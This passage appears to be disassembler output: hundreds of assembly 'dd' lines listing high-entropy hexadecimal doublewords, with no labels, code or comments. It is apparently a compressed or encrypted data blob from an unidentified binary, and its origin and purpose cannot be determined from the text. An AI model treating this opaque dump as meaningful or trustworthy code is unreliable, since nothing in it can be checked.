		dd 0C337E680h, 0BE38CA6Ah, 1E0AFD3Bh, 0ED8519F7h, 58A0FC9Dh
		dd 81D494A1h, 6B9ACF71h, 0C83B6FF6h, 0C50B7223h, 0A1920E82h
		dd 52D347FEh, 7690012Ah, 736E890h, 8C8854D5h, 20B8AADAh
		dd 7F3F0E60h, 462A1CABh, 25394060h, 0E04CD9C0h,	0F0147A73h
		dd 24D51586h, 0CD852C93h, 0CC52F374h, 4DF2A8A2h, 96E85331h
		dd 5E4007Ch, 5D600EB2h,	194F1D15h, 0F301FC04h, 452AD107h
		dd 0C09018F4h, 4484F1D4h, 0B0B0526Bh, 7DA8581Fh, 7618A267h
		dd 1187C182h, 9529E0FCh, 104F0011h, 79F00E17h, 0FCC413AEh
		dd 20E81201h, 0C322D790h, 34D2234Fh, 0B4D4FEh, 93DDECCFh
		dd 0DA0CFA65h, 30E94D2Ah, 401FEC9Ch, 0C1251732h, 0BBF0176Ch
		dd 91D604C6h, 3AC06E2Ah, 0B5D20h, 0DF9C2B34h, 7F4990BDh
		dd 545A5309h, 0BC204194h, 0C07DE110h, 6C4064E3h, 6B25E890h
		dd 91DC9D3Eh, 5F5D8072h, 7322B86h, 80D90B97h, 11A0B06Dh
		dd 0EC7ECA9Dh, 0C527197Ch, 809CB7EDh, 0BD230B77h, 0F8BC95FCh
		dd 9FA19740h, 0CD580A80h, 8FA0B0E0h, 0C8175EEh,	305A23F7h
		dd 38A4833Ch, 0CA2FE82Fh, 3038244Ch, 2FE08E40h,	0C005C964h
		dd 0E4D6FBEFh, 4B336A82h, 0D4BFBA90h, 0C2465EB4h, 47247109h
		dd 0ACFBA0E2h, 0A86358h, 2378AE1Ah, 3BFDE90h, 7E3E0801h
		dd 8E99548Bh, 826C096Bh, 791C30D9h, 45F434Bh, 88B69457h
		dd 1365FE0h, 4D971407h,	4B93BC9h, 28FC78F3h, 0EF960D3Ah
		dd 0E2DCA21Bh, 127B303Eh, 32A34009h, 0C444826Ch, 60D492C3h
		dd 2418ECD0h, 74907156h, 5C00C146h, 0CF63EB9Eh,	74001289h
		dd 70918BF9h, 11F4214h,	5C2CDFBAh, 0C9FBC4A5h, 0F214225Fh
		dd 0C4163134h, 913EC438h, 54274A55h, 0F21AB461h, 334C013Fh
		dd 308018D7h, 603EC824h, 0BFE29470h, 8C4DB86Ch,	403A250Eh
		dd 9F67A10Eh, 0F848CF3Eh, 18B82F7Eh, 0BEEAA840h, 0D43010CAh
		dd 0C3EF9280h, 0B44A3DD5h, 304676ACh, 60F6E400h, 0C9EEE173h
		dd 8EF30490h, 0EA9B2571h, 8884E466h, 3CA9B9F5h,	953AFAACh
		dd 1D2004BCh, 18903C9Eh, 178AD42h, 0A0B5EB85h, 7E0FE012h
		dd 58F22453h, 393022F2h, 6CE800EDh, 9D250708h, 0B7243D30h
		dd 8C2C9406h, 3A38B809h, 64B8E570h, 0F2186068h,	11460BCCh
		dd 8471E755h, 1B7B8C00h, 0F873A0h, 4F1D1820h, 79036352h
		dd 39E63E61h, 47B6822h,	0F920E70Ch, 5AAACCCh, 3F14BD51h
		dd 2488549h, 20C64A80h,	0F4ED7CCAh, 77EE1AC0h, 0DC6DEFA5h
		dd 9470430Bh, 887D4881h, 50092E20h, 6874E96Bh, 8C2DD449h
		dd 0D401EEACh, 0A6C0818Ch
		dd 11005C9Ah, 0B95AF0B6h, 40DF54DAh, 4890017Dh,	6F62B6D3h
		dd 0F893E150h, 4DDA2064h, 25181095h, 0EF68008Fh, 5F18B678h
		dd 1271D2CCh, 9AE4892Fh, 22808244h, 81880559h, 515D2620h
		dd 3C1B30BCh, 0A6B7C838h, 0BF467404h, 887E4504h, 0F0CFCA4h
		dd 0F8C28327h, 92749E78h, 5E98B440h, 4716846h, 781A7AA3h
		dd 4584879Bh, 0BC78A8B3h, 0B1008C35h, 0ED372462h, 2E1CACCh
		dd 0C28B99Fh, 2456C485h, 0E3AAB82h, 709CF3D0h, 0E700ADE0h
		dd 9BFFC9D5h, 5DEEB40h,	996EA477h, 0BC24E833h, 25008C66h
		dd 40A2F530h, 98724958h, 86C712A6h, 33C4996h, 0CFC4D860h
		dd 25B11D61h, 6064F283h, 0E8B712F4h, 0EC24B836h, 4C488C34h
		dd 0E87E051Ah, 48BDF990h, 1C548069h, 6BF4676h, 48C0C4D1h
		dd 0B6549869h, 0DCCF2DACh, 0BD46BB40h, 0D128B90Fh, 0D1184Bh
		dd 352CB3DDh, 4D1349EBh, 44907008h, 6FE6314Eh, 17C424C0h
		dd 0B021C262h, 17D01932h, 0F0FB14F2h, 43C8F3F0h, 0A8279744h
		dd 190FB84Bh, 7DCACF33h, 0AA7C68EDh, 92D638BCh,	0DBDE7C3Ch
		dd 0C39E80D8h, 0E0C2CFD8h, 0DD943E75h, 0FE0E1882h, 0C4FA937Bh
		dd 786B604Ah, 9EC09302h, 2C485AAEh, 8624C2B3h, 1EBD0446h
		dd 2213CA31h, 78F32CB0h, 0F11C2040h, 472A991Dh,	0D41684E8h
		dd 0C084A70Ch, 551474ACh, 30E84C4Eh, 0AA12008Ch, 0CBEB9B66h
		dd 8625F649h, 9C0D00Ch,	5896D6C1h, 199DD0A0h, 4F003C62h
		dd 0E25CBCAh, 764CC2h, 0CE5CFF54h, 3C8D773Dh, 2AF7FD03h
		dd 0F0888509h, 5D1D9Fh,	49147696h, 18A98C20h, 0E8EB9924h
		dd 0E498C52Fh, 79C56028h, 0D13C02AEh, 18A3229Ch, 0C0428DCh
		dd 9B01FD3Fh, 2C24B472h, 8C65EC80h, 27CD4C00h, 0E9126456h
		dd 0CAC21238h, 2C1CA4E5h, 91CB2E2h, 74802336h, 0D72BB40Bh
		dd 1EF0B0FBh, 8786EDDAh, 8114F077h, 6D6F1CF6h, 413A2FC8h
		dd 4600AB98h, 9F240CB9h, 93477852h, 3EACD14Ch, 7A40BFD2h
		dd 606B448Dh, 28CCBE7h,	62429708h, 8C48FD78h, 170047DEh
		dd 5B38F2A3h, 2D5E5FEh,	30E69963h, 1480776Dh, 9D1352D1h
		dd 2A10A001h, 0E0920263h, 8F18406Bh, 1DA32766h,	9A625800h
		dd 63679B72h, 7760E27Eh, 82250448h, 0E43BEEDAh,	20B459C0h
		dd 35465Eh, 230DDAF2h, 0EE659Eh, 0CF01952Ch, 20CC8089h
		dd 3C78FC24h, 34509930h, 0B08F04FBh, 0C20E3CFEh, 0A4282B34h
		dd 0F6C4674h, 402FB635h, 0D78D1FA0h, 0E4C0057Ah, 0E638B9DAh
		dd 40C2E030h, 0ABB3055Bh, 0C1C609CEh, 20F1EFF0h, 0F2698864h
		dd 0D91809C9h, 0DA7F0080h, 0D75C8AD5h, 91CCA907h, 4C74CB65h
		dd 930B1CC3h, 6ABCC014h, 1DB752h, 51802591h, 0C0E5A10Dh
		dd 3D7E8610h, 0D20F0048h, 0E8D2DDC1h, 8C30BCE4h, 6AD37E01h
		dd 0A8981134h, 6E4B2036h, 0EDA100ECh, 0A59D6332h, 40309680h
		dd 74A2A730h, 1E3853Eh,	834AD722h, 0C98071C6h, 620C490Fh
		dd 0B94BFBD3h, 43C11CDAh, 20DBB146h, 0A95CC338h, 0B8005D7Ah
		dd 0A238D741h, 3036F20Ch, 0C400FD79h, 78C8DFAFh, 5A00D4Ch
		dd 0DCCF5EC0h, 4858A923h, 0F4E692E4h, 0A370C8E0h, 0F2794061h
		dd 30D1DB62h, 465708Bh,	42BF5002h, 0EE7D2F00h, 0C8CB0233h
		dd 0E56DEFD2h, 46131464h, 0F000E0Ah, 0A90C8B66h, 305F8FAh
		dd 8EB875CDh, 0AEA12017h, 58843350h, 0B4472418h, 1849E817h
		dd 3C3760h, 792E5FE5h, 81A0BAECh, 5664A090h, 94BD0350h
		dd 2D0C5024h, 1D2D1844h, 2710C87Dh, 0E0D3453Eh,	289A3914h
		dd 12B60144h, 0A0BA6EBCh, 3588C08Ch, 87AA0023h,	118C857Fh
		dd 7300DC24h, 21FB5281h, 0FF57DE33h, 3FB7A041h,	2C531511h
		dd 8C24F8B0h, 964D6100h, 0F20B14B6h, 7920B3F6h,	0F3A1868h
		dd 0C421C8B8h, 0F694D7E0h, 590EB3EEh, 8248D47Fh, 0F439EC04h
		dd 2B465E04h, 4CFB717Dh, 4900367Bh, 7E095AA5h, 0FA5463F0h
		dd 0EF000FD0h, 3CED7022h, 1D91F3CFh, 8021053Bh,	653E4EB6h
		dd 0BF246401h, 0D42EA449h, 3F33465Eh, 4CFB00B4h, 37A7E6DBh
		dd 24325D43h, 8C6CB8h, 17A9ED0Ah, 5268AFE5h, 1E497624h
		dd 0BD2BAC00h, 0E90AE69Ch, 24A24033h, 9772AE30h, 152D6820h
		dd 0E2008980h, 6A94F3DBh, 0BD6017Ah, 289CE87Eh,	2220ACD2h
		dd 0CF110239h, 0B6EF93FEh, 95BD14CEh, 80279174h, 77C3891Bh
		dd 70B362E8h, 0AC4523A4h, 7C8B72Fh, 70DC3B21h, 0E99014E4h
		dd 2C94BC74h, 0BCA85935h, 258CBFE8h, 4CF8F8CCh,	0A6190D61h
		dd 96F7487h, 2464C1ACh,	4A521304h, 4F00EA3h, 0D023F116h
		dd 0C07829h, 47E6B4D1h,	62018D90h, 43A54D5Bh, 0F0E411B7h
		dd 5D091357h, 0C88C8BE8h, 0DD5C028h, 0A80BD2CDh, 70C6CA52h
		dd 9298C0ECh, 4CD77F9Eh, 17951CF0h, 813E1174h, 8AC22A5Bh
		dd 28C6E6Fh, 0F8B87DE6h, 20DF0552h, 0C07E508Ch,	0A2319027h
		dd 716B0E68h, 63F4DB78h, 607DD85Bh, 6B5C0B56h, 90A096C1h
		dd 0BC9F2C1Dh, 9FC889B7h, 894D1170h, 1EE587F8h,	18AF8730h
		dd 41462DD3h, 0DA7D48E8h, 3E971615h, 0BCC00DCh,	0EB146DE6h
		dd 0A47601FAh, 437C0D56h, 0A79ACC5Ah, 270C6300h, 0A2A61D68h
		dd 0ED39C037h, 86CBF7A3h, 2100717Eh, 0B1A43EC0h, 0DE3D4h
		dd 94DEF4Ah, 76A0752Ch,	6F0934F8h, 1D606389h, 146BFA0h
		dd 4022A1DAh, 0B82C373Bh, 8C25ECh, 361D6333h, 0E1729AD9h
		dd 0F4DFE607h, 5BE5995Ch, 6F93E4BCh, 86B50FCCh,	435AC2FEh
		dd 9B88951h, 0D67CDE88h, 0B5E87A01h, 701D92FDh,	2802DC62h
		dd 79E67EC2h, 971398DCh, 5ED4E490h, 25B328BDh, 0E61B4B8Ch
		dd 89AFB75Ch, 15D8C8h, 17BC2459h, 6DB286C0h, 60164891h
		dd 36C0B89Ah, 0EFE9D0B9h, 72D71005h, 44F441F0h,	0F7C62512h
		dd 43E0ECEDh, 5040CA9Bh, 4A50E4B0h, 0F270B2FAh,	0F28A3123h
		dd 7DB24C0h, 0E3002776h, 6D37A961h, 2B175EEh, 0B7F483DFh
		dd 8C742834h, 44ADE88h,	0B8403C9Eh, 0E693B188h,	450BF207h
		dd 7E79645Ch, 53800CDAh, 0B9336F01h, 0F75A72ACh, 4B480C34h
		dd 0DE5484C8h, 0F89CC214h, 1FFCE1ACh, 419E1989h, 88372C10h
		dd 213B7A01h, 0C3B82B63h, 0B1FEF080h, 249B229Ch, 0AA82D89Eh
		dd 27430B92h, 5C494870h, 338D404h, 4B2200A2h, 0DF42FEE0h
		dd 0BEDA834Dh, 2A60B8C9h, 0BA007C6Bh, 0B911C4F5h, 209F76D7h
		dd 88091F2Ch, 0C9040014h, 0ED72958Fh, 91B7DFE4h, 0D8C8DA94h
		dd 0CB103F9Dh, 0CE7BAA5h, 21604BC4h, 9F092642h,	1C33C6Eh
		dd 4E39833Ah, 231C3E6Eh, 0FF550239h, 8622298h, 1429E856h
		dd 913497AFh, 99688124h, 122ED322h, 4C04E3B0h, 8C23E8F0h
		dd 0C4364906h, 9F392ED5h, 374DC10h, 77DC973h, 66C2D000h
		dd 0A363BB3h, 6FB78B1h,	3ED48076h, 500031D2h, 6CC11809h
		dd 4D0CBC81h, 0E616146Bh, 0CDECF4E4h, 2B5B4D42h, 76723A8h
		dd 899FFC82h, 4D9F307Ah, 71A8E124h, 375E604Fh, 77EE5F04h
		dd 12BF7D52h, 986FA0h, 0F49F45F5h, 301D10D5h, 0C2713973h
		dd 83B7F6C4h, 7C6677C4h, 0DCB7BF3Ah, 0DE23CE01h, 203E98D8h
		dd 8219FC68h, 10330800h, 0B85583C7h, 34FA00B3h,	0AC68FC2h
		dd 79371D6Bh, 89A03138h, 26669B9Dh, 744C4F9Eh, 0EE1F4C46h
		dd 0D789BA73h, 74D83C7Ah, 0A63099E8h, 636EE850h, 43112564h
		dd 7406F4D8h, 7EB15C66h, 12D09021h, 0B13E6749h,	9F9041ECh
		dd 0B402041Fh, 0CA3836A6h, 41DCDC98h, 81F8D73Bh, 0BCB913A9h
		dd 5189C1DEh, 8C047677h, 2FEE30h, 3C076B23h, 0C708EBFh
		dd 18FEE797h, 9021932Ah
		dd 0A995C640h, 884824Ch, 0E59A0242h, 0FEDEF47Ch, 0DC4502FBh
		dd 5FB4ECF5h, 92C02C6Dh, 5F22FEF1h, 145C93C7h, 0CC564FA2h
		dd 770CB69Eh, 25A11058h, 0B0D0A478h, 49C09C78h,	824E8517h
		dd 93AF00EDh, 6269B883h, 0F0001D4Ah, 0DC9DAC77h, 1752C15h
		dd 0D889C4A1h, 64AB2236h, 145A502Ch, 77E1D490h,	11C2788h
		dd 0B4DC0062h, 86996260h, 9890B752h, 910A4513h,	0F4A3182Bh
		dd 0C2248F40h, 7CA5B744h, 8413AB8Ah, 44E0D4B6h,	58006C66h
		dd 341709E3h, 61187A37h, 32B99127h, 18207B5Ah, 542A996Dh
		dd 973AA43Bh, 58E504B2h, 43602764h, 2301A907h, 0B5E29FDDh
		dd 244ABA0Ah, 0CDC02BC8h, 35212E7h, 0E2E36D3h, 0A2A8C446h
		dd 2C16EE49h, 0A8F18B55h, 23802F3Ah, 83310034h,	0A4E7A630h
		dd 1F0944B4h, 701CF368h, 2000593Eh, 0C57CC403h,	81F856h
		dd 732F0B19h, 0AA7EC231h, 0D2C4639Fh, 5920FB1Ch, 0BAA0E001h
		dd 8BEA6C02h, 0F9AA341Dh, 3B510000h, 961AE78Ch,	0CB002F73h
		dd 279F0480h, 0F6D7476Ch, 73A325EEh, 0D7D58E9h,	22B23C72h
		dd 0B4FBA833h, 0F4F9183Bh, 7F0FE869h, 4F468C25h, 20C16ED0h
		dd 4702ED3h, 0FF0980B8h, 0B47E572Ah, 1CF00C01h,	122B0B71h
		dd 0E0B4A6BCh, 0C041973Eh, 94783879h, 9200535Fh, 9C1D439Fh
		dd 9763C920h, 0D4378442h, 0A88FA41Fh, 67B88099h, 9A2B42D7h
		dd 8470298h, 0E0CEC454h, 35BD1452h, 97218004h, 0FBCF118Dh
		dd 0DB57F800h, 0DECAC0EBh, 3CBA9F23h, 65C40465h, 11486F60h
		dd 0A70572E6h, 0A3574429h, 0DD0348ADh, 4FCDD219h, 0C07C790h
		dd 8878F609h, 16605C60h, 74F26Fh, 0C2F2F539h, 4AFE042h
		dd 0ACC3538Eh, 30D0C8E2h, 91289797h, 2FE88065h,	0C43D0Eh
		dd 1FE7C96Fh, 0AA3FC218h, 3F405E49h, 0F3072540h, 0E0ADD88Ch
		dd 8BBF121Ch, 3CE87E82h, 0DCDE09F9h, 0C7B38640h, 131C3918h
		dd 1357C8A4h, 33A40F36h, 82BC0B60h, 8BF00AB6h, 0BDCC17BDh
		dd 0AF5103C6h, 8015325Dh, 127EA643h, 0AD241090h, 5A22D7Ch
		dd 0E0EC0E88h, 0C89B7809h, 20C4AC79h, 34E278B3h, 1E9B30h
		dd 0D8B91165h, 20B4724Ch, 0F1DDBC80h, 0E724127Ah, 39D9A07Ch
		dd 8E990163h, 1660134Ah, 0F4303E5Dh, 51BDA577h,	684BA49Ch
		dd 99C072C8h, 2B77EF8h,	86CAA2AAh, 0F05C6ED2h, 424C7649h
		dd 27214544h, 0D140CF63h, 349DE673h, 0FF184708h, 0C8D45021h
		dd 9934E30h, 0EEB6EAF7h, 29E4E0C5h, 0AB8CFD60h,	74CD5000h
		dd 8B455475h, 0A08A9D46h, 0FA1408ACh, 3C58641Fh, 4D721DF8h
		dd 540B80A0h, 5050BE99h, 1C5FF4E6h, 9EC0A49Ah, 0B2C97D83h
		dd 48071F01h, 3F90F07Ah, 7F2039EDh, 2DC9EF6h, 0DF56B940h
		dd 8D7C0055h, 98E30746h, 20E99D68h, 6C2F3BC1h, 0D9013323h
		dd 2DFBBCF0h, 0A42DFEF5h, 0CBBE704h, 0F418D0CFh, 0B9C0587Dh
		dd 62834759h, 8F94A972h, 84849B6Fh, 0E8ADE0D0h,	95D7F400h
		dd 1E4AFAA5h, 5A867900h, 0C19970EBh, 78E300DBh,	5B587EF4h
		dd 4D4B9CF6h, 0DEE0D4B6h, 33005B45h, 35ED6CC1h,	6A7520A6h
		dd 16A8D955h, 0AC60A9B9h, 0CC09004Ch, 0AB911033h, 3CB06054h
		dd 3187F20h, 0B1B7E3DAh, 43BA716Eh, 5901CCD2h, 0CDEC853Bh
		dd 823A5409h, 0C50029E8h, 0A249EAA6h, 45D4DAB0h, 0F0212A25h
		dd 0BCECDEC9h, 397A0E81h, 86CB8BDDh, 0ACC0DCCAh, 0C8022E4h
		dd 127BEABEh, 0A8F2881Fh, 30FAF924h, 0D27D3D5Ch, 122C824Ch
		dd 0F0807EC4h, 9F1D9C4Dh, 0C3805035h, 0DFA7200Bh, 2BCB024Dh
		dd 99760717h, 423EB887h, 0D8709370h, 10144001h,	0D7054FF6h
		dd 1985EBF1h, 4087CAD4h, 61144AC8h, 78B4910Eh, 789601DCh
		dd 9E9222ABh, 0F6E5FF6Bh, 305CF12Ch, 11C1DC42h,	2A491044h
		dd 0CC980E68h, 401E80C7h, 2FA05C74h, 0DD0954FFh, 0F48AC2CFh
		dd 0A82FDC5Ch, 48D41017h, 0F2105AF4h, 0B0FC81BCh, 252B9922h
		dd 6420BAF4h, 0BACF87h,	0C68B4F78h, 0FBE5C32h, 0A0382672h
		dd 25EF8537h, 0F4AD9182h, 190F86B8h, 0CBDF9130h, 72D80204h
		dd 1BCF624h, 0D86B0F17h, 0D6687D2Eh, 56A8CCB9h,	0A68C790Eh
		dd 3AC542DEh, 83C09B3Eh, 6F63A09Dh, 0FFBB0096h,	5E2A81CDh
		dd 30010D1Eh, 9F5592E9h, 6C701983h, 0B4B71743h,	0B1B8C58Ah
		dd 0E09C6694h, 1DA3FD9Eh, 0CF634A93h, 5A4BB6F8h, 5F305302h
		dd 46749CD4h, 2E111F4Ch, 8342AD87h, 729B6BD0h, 0DFDA1644h
		dd 0B870EDF4h, 6CA900EAh, 35E49D99h, 0AB05C0B4h, 95528D63h
		dd 0C580E0F8h, 549C6616h, 38A5EE17h, 6EBF80C5h,	0B91F7F58h
		dd 2A527DDFh, 0BF8034F8h, 7219FD6Bh, 531D5200h,	16DC1E1Fh
		dd 58170046h, 4E601BC4h, 0F37D2299h, 2CEE3B84h,	87D46F28h
		dd 623D4480h, 4884E09Dh, 8A901F11h, 105027E2h, 480BD9Fh
		dd 0B85F9FA7h, 730A0238h, 6024ACC0h, 0B7F243FBh, 0B4606CCDh
		dd 54F51A4h, 4CCAB8E0h,	0FF10A4C9h, 47387A10h, 46FA501Eh
		dd 112E5722h, 4B1EC413h, 0B83CD810h, 0D1028C1Eh, 0CB8CEADh
		dd 0CA25FFFh, 965F39A8h, 829EE4ECh, 0C244C447h,	0DBBF6F60h
		dd 8ECE797h, 0D32D4815h, 8E157000h, 239BED02h, 0DD9974A4h
		dd 900B86C2h, 8D708873h, 183A1F80h, 452C1C4h, 6423FF2Ah
		dd 4F4EEAFCh, 78B9F417h, 0CB0021B8h, 45BBCAD1h,	8EF392Eh
		dd 4D10721Ch, 4714BC02h, 7CA2554Ah, 0D4002B67h,	9DE63F0Ch
		dd 42440444h, 91DC61E5h, 24EF2A99h, 0C434789Ch,	58B9313Ah
		dd 9BBA450h, 7322377Bh,	6EA23061h, 0D3031041h, 0CD2FA3E6h
		dd 0B87879FCh, 0F01D1F5Dh, 0DF58C20Dh, 0A277F918h, 0C736AADCh
		dd 80D1CF00h, 0EB413DD7h, 18400916h, 20D448C2h,	0E458E569h
		dd 26666033h, 0BDAF0B1Dh, 24C88B0Ch, 535FA67Ah,	0F6DE48D1h
		dd 275C7A3Bh, 8F209806h, 35BA00A7h, 0EC9CBD04h,	990B630Ah
		dd 535FCAE3h, 4C97581Ch, 0EE2B2400h, 0BA18619h,	9E1E12C6h
		dd 1BB0C275h, 0EE59F05Bh, 2776AFCh, 7EC1FE6Bh, 230240D6h
		dd 1437F55Ah, 0F275A800h, 48031266h, 0E3127301h, 0C8588BBFh
		dd 7E11C0BFh, 80958490h, 667352C0h, 1CDA07B6h, 0F5C2B221h
		dd 2D78A0FAh, 82BF50BEh, 49943EF6h, 80025D44h, 807FB70Ch
		dd 4F9B8F24h, 0EF1D44E6h, 25008C73h, 85ECA079h,	22E2CA8h
		dd 4A8F7B10h, 385D1AC8h, 3F3198BCh, 0A4801CF6h,	24E43C8Dh
		dd 94BB172h, 25BCBCF4h,	5C78330Ch, 21D7D4A0h, 36E45C81h
		dd 1D742D72h, 419DF4D1h, 2A10902Fh, 90D98ABFh, 0C080EDA7h
		dd 31185F9Eh, 42376D09h, 0DA94A72Fh, 7ED59000h,	0F3EF252Dh
		dd 64033CD1h, 0E45D04CFh, 0E9F812EAh, 0D2AC88h,	1A6803CBh
		dd 82F4691Eh, 2D13994Ch, 40D4F975h, 0D23CF98Fh,	13B9B800h
		dd 637E6131h, 785827AFh, 0D10054F2h, 0B0F749EFh, 0E659E30Dh
		dd 6D43008Fh, 2EF05875h, 915F3173h, 21AC24C2h, 0D272D6C5h
		dd 65C9FCFCh, 612B6438h, 7DFC717Ch, 0F8DB00EAh,	0F02D0B87h
		dd 29F4086h, 21561010h,	51A74257h, 300ABCDCh, 1E5F13E8h
		dd 0BDC4F421h, 1D44422Ah, 0A0D74E9Bh, 0D6E755BCh, 3F972042h
		dd 20CA14A3h, 4D66876h,	9C87A61Bh, 840B001Fh, 0BC1A094Dh
		dd 21B915Ch, 10A477EEh,	0BDF22455h, 12E4ACA0h, 0FC31837Ch
		dd 0A0A12D44h, 0D968D74h, 55670E0Bh, 0B1486E65h, 174E3C08h
		dd 93C4E46Ch, 6B94828Ah, 0C117012Bh, 0B8DC7D62h, 1C307C60h
		dd 47279B11h, 90EEDAA5h, 6B7E834Ah, 0D1AC31BFh,	3FC21710h
		dd 33CE697h, 0DD40070Bh, 0CBCCE979h, 0C04CC85Ch, 18E871A7h
		dd 0DF0EC4B0h, 0E030FC9Dh
		dd 0BC73700Eh, 0CC3CEBB4h, 0E09F0B1Ch, 94B8C413h, 9E84F8BCh
		dd 0AC654856h, 68467498h, 0AF59500h, 24887DE1h,	9EF41D48h
		dd 99805842h, 93906033h, 205F8255h, 6F2A9818h, 2530B939h
		dd 0E44D38C8h, 17198225h, 82249140h, 0A3C4773Ch, 0D07A6194h
		dd 3FF106h, 29B0737Fh, 91D6D001h, 10A01748h, 0BC0B4393h
		dd 405CBA0Dh, 12810ED6h, 0D6A0BE5Dh, 0D3402B03h, 0D3391625h
		dd 0C5D34330h, 0BE2DA17Ah, 5E50F290h, 640C54CEh, 8BFF5F71h
		dd 746A4B84h, 0BC10DB00h, 2A49015Eh, 93C53C3Eh,	3CF02087h
		dd 0E185163Bh, 1BE8C959h, 1D11C2BCh, 9DFCC47Eh,	0DB20E890h
		dd 300179B0h, 8A540DA3h, 13309F5Eh, 0B02E0BCh, 0FF436A27h
		dd 4DE60C82h, 0C7440907h, 0D4121CC9h, 0B17001Eh, 0B64CD236h
		dd 5CC22CC4h, 614CCDADh, 88C98971h, 2496A48h, 39DB2237h
		dd 1CB8BD5Fh, 704D6F45h, 0AE2444C0h, 418700D3h,	55B8CDACh
		dd 0E0E62C20h, 49B980E9h, 6F0C77CEh, 166A001Fh,	2613C5E9h
		dd 0F600C634h, 8CAF7E64h, 0B01286C2h, 6C47B74Ch, 0D063C144h
		dd 0CF639890h, 47A8991Ch, 0C749E6C2h, 8004D330h, 39A91BC8h
		dd 140028FFh, 138052CEh, 0C19DE2h, 69678BEFh, 0E75E9E44h
		dd 0D0F0185Bh, 0D078486Eh, 0E975E380h, 441D890Ch, 0A1403FE4h
		dd 1BF121FCh, 7A3208AEh, 23B3D84h, 0A98F98C8h, 90C9E080h
		dd 0B42C5BB0h, 340C9410h, 0A0EB5AE0h, 0A32A24D2h, 98D740ECh
		dd 8CA02836h, 98154FAh,	0D7C16C68h, 5B17B322h, 0A81600FCh
		dd 8B8FC774h, 0E308C05Ch, 4183AB99h, 80644D3Bh,	173CC0Eh
		dd 305889ADh, 3C200A81h, 0D779B3AFh, 29042C00h,	0A9442D70h
		dd 480A2CFDh, 232933FFh, 6012DD89h, 0A719BC19h,	2B084704h
		dd 7B442180h, 88BAF3DDh, 40042E4h, 4387A0F5h, 3C6B0906h
		dd 0D881455Ah, 2A897613h, 8C39BF85h, 705B7939h,	22048C49h
		dd 471D13DDh, 43205762h, 75A4DD7Ah, 0D54500C2h,	0CBB3ECC4h
		dd 0D2033A14h, 9848E9BAh, 34009582h, 0C2D495E2h, 6FD50068h
		dd 3953CB12h, 8650D323h, 3A020A94h, 3D25E024h, 8E344048h
		dd 6798C0A7h, 9DD315ABh, 0E0B929CEh, 160758CFh,	18060E20h
		dd 8C8C2FE6h, 1D075F21h, 1E21ACFh, 290BD0F0h, 483F2B77h
		dd 5B21D0ACh, 71001672h, 1D83CB0Eh, 50079F85h, 7BDCDCh
		dd 0A3EBC85Ch, 4FBA821Eh, 5D161B00h, 0D274D879h, 8E99C088h
		dd 5B5013D1h, 0AC000B7Ah, 571E9DC7h, 0B94D6Eh, 0EC157A8Fh
		dd 7094824h, 3C080501h,	0A4E05D83h, 0CB994080h,	2279C5E2h
		dd 9DE73703h, 0A3E64F2Ah, 0E02100CEh, 3CA9C5EAh, 413818E3h
		dd 26A400D3h, 0CA87E16Eh, 0E5D800EDh, 6F8E86D4h, 83500582h
		dd 7C201BD4h, 4EAF006h,	0AFEB6471h, 1E68985Ch, 484A88h
		dd 4F5B3564h, 0A93A9FA2h, 39CADE05h, 0B012B4D2h, 8170E014h
		dd 0A02BFC06h, 5C599A00h, 7043B40h, 707149DAh, 5E51610Fh
		dd 7ED04098h, 82E5F7FFh, 0AC529731h, 8AA0A284h,	422C8F2Ah
		dd 21CB33AFh, 0E25029h,	6177C406h, 3FE018A5h, 8330959Bh
		dd 0E8AB0090h, 88E1EB87h, 1780A27Bh, 80D991B0h,	8066481Ah
		dd 3C8A28DBh, 9A9B30A4h, 0FC01D820h, 8BB09F60h,	71C319F2h
		dd 0A85C097Eh, 1000AE87h, 2D72622Ah, 5105A906h,	0B814F8h
		dd 0ADDA39E4h, 0AA98A604h, 237C70D4h, 0CF0C011Eh, 180E075Dh
		dd 145E88B3h, 0F9BCCF02h, 44815235h, 298A15ACh,	0E107808Fh
		dd 0E0CBE9C4h, 942689D9h, 0DC180B68h, 8C604F12h, 230DDD58h
		dd 2D11771Dh, 0DD704500h, 88EC856Fh, 87B24101h,	1E107105h
		dd 868CD081h, 41B70EDBh, 0E152ABB4h, 6C84D270h,	0CF126014h
		dd 1E07235Fh, 5800B211h, 0FCB6CF1Ah, 0D3223431h, 3A500080h
		dd 7B6D98AFh, 6200B5DEh, 0A7B4D92Ah, 0FB6B7D11h, 467028A8h
		dd 6477021Dh, 314CAFEDh, 4E4010E2h, 0B03C1764h,	3F5A01B7h
		dd 30E826C1h, 8452A94Bh, 91AD09A4h, 16481082h, 0EBF458C3h
		dd 7089B500h, 9E725BEh,	233431D4h, 0C5E80077h, 0E6E7227Bh
		dd 0E8D24586h, 0C800C610h, 18044B68h, 29F28C87h, 14A81103h
		dd 70232C83h, 76C5ED00h, 86E71F22h, 15FCD045h, 0A04D04C6h
		dd 88E0E768h, 7C7B756Ch, 0C8286607h, 470E16Ah, 4366784h
		dd 2D3BAF49h, 7118C875h, 163F38A4h, 172213C6h, 0E44838h
		dd 0AB23C61Eh, 0CBB12522h, 51483200h, 0FBFF7441h, 60D492CCh
		dd 868931D8h, 661F9AB6h, 0FC0028B7h, 31F934B8h,	1F7C1A20h
		dd 2C4484C7h, 2C63720h,	49965F63h, 0F4B01498h, 0CCB16476h
		dd 58201F64h, 9D00FC5Fh, 0CF983A7Ah, 0ED5264h, 115E0687h
		dd 1534888Ch, 270C9F00h, 0E5260DC2h, 0A69C0313h, 174265C4h
		dd 0F54A1580h, 0BA299E60h, 3B6EDBAAh, 807B921h,	46BB5119h
		dd 0DD1F21B7h, 54C0DBA2h, 66F48D72h, 0F2373D89h, 7B0046C4h
		dd 704CD1B3h, 60819D31h, 0C49A1812h, 0F3FC2989h, 0F0CF641Fh
		dd 0FA5D7C41h, 2080823Eh, 0D06B3D15h, 8C02E333h, 95B7DB0Dh
		dd 0F585E055h, 1D61C0ABh, 4EC69931h, 14F81248h,	27F346C5h
		dd 3D015D22h, 200D60E5h, 59C09B77h, 0AF5F62BFh,	0BE590601h
		dd 8491E11h, 6021B66Fh,	2DCF5F5Bh, 0FE5A0B4h, 662C0092h
		dd 3E9C518Ch, 28C1082Ah, 7F80C606h, 0C24A9C43h,	848880DDh
		dd 9F75Dh, 0B77AD218h, 8E8855Ah, 0FF19B300h, 0C68F0F4Bh
		dd 1B50671h, 401A80AEh,	8C67812Ah, 8FDA7500h, 8D4BE34Ch
		dd 0EBFD03CBh, 11E7E0B1h, 7ED17F80h, 13506A18h,	30D59E31h
		dd 9368CA06h, 67F2BF5Eh, 28108228h, 0FAC87C1Eh,	0C62912CFh
